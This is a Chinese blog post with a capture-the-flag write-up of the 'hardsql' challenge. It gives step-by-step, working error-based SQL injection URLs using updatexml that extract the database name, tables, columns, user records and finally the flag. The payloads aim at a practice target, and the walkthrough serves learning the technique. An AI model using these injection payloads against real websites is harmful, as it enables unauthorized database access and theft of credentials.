sql注入-----极客大挑战(hardsql)

hardsql是babysql的又一进阶,这里使用了报错注入的方法;

首先打开题目链接 我们的思路仍是使用万能密码尝试登录

 

 但是登录后发现没有仍是没有任何作用,按照往常思路继续使用 ordey by 函数和union select函数进行查询,但发现页面没有任何显示;

 

 既然之前的思路不可行,我们分析可能是数据库对 这些字符进行了过滤,既然无法这些函数就无法得到显示位,无法进行接下来的爆破,所以我们要换一种思路,既然无法构造被过滤的函数,那么我们尝试使用报错注入

这里我们使用umdatexml报错注入

首先,先获得数据库名

注入语句:http://dd413d2b-9e4c-44b3-9def-c1d98ba58c55.node4.buuoj.cn:81/check.php?username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1(由于页面对’和#会进行过滤,所以这里我们使用%27代表‘,%23代表#)

 

 通过查询数据库我们得知数据库名为geek;

接着我们查询表

注入语句:http://8c455930-0748-4179-96f8-efc857afbf7e.node4.buuoj.cn:81/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

 

 通过查询我们得到表H4Dsq1;

然后我们查询字段

注入语句:http://8c455930-0748-4179-96f8-efc857afbf7e.node4.buuoj.cn:81/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1

 

 通过返回页面我们可以得到字段为:id username password;

得到字段名后我们可以去查询想要得到的数据

注入语句:http://8c455930-0748-4179-96f8-efc857afbf7e.node4.buuoj.cn:81/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1

 

 通过查询数据我们可以得到想要的flag,但是我们发现得到的flag是不完整的,这是因为函数显示有字符数限制,我们通过right()就可以得到另外的部分;

注入语句为:http://8c455930-0748-4179-96f8-efc857afbf7e.node4.buuoj.cn:81/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

 

 通过拼接我们可以得到最后的flag,这一题重要的是对报错注入的应用,而我在这里只用了updataxml报错注入

 

posted @ 2022-03-23 00:09  GTL_JU  阅读(313)  评论(0编辑  收藏  举报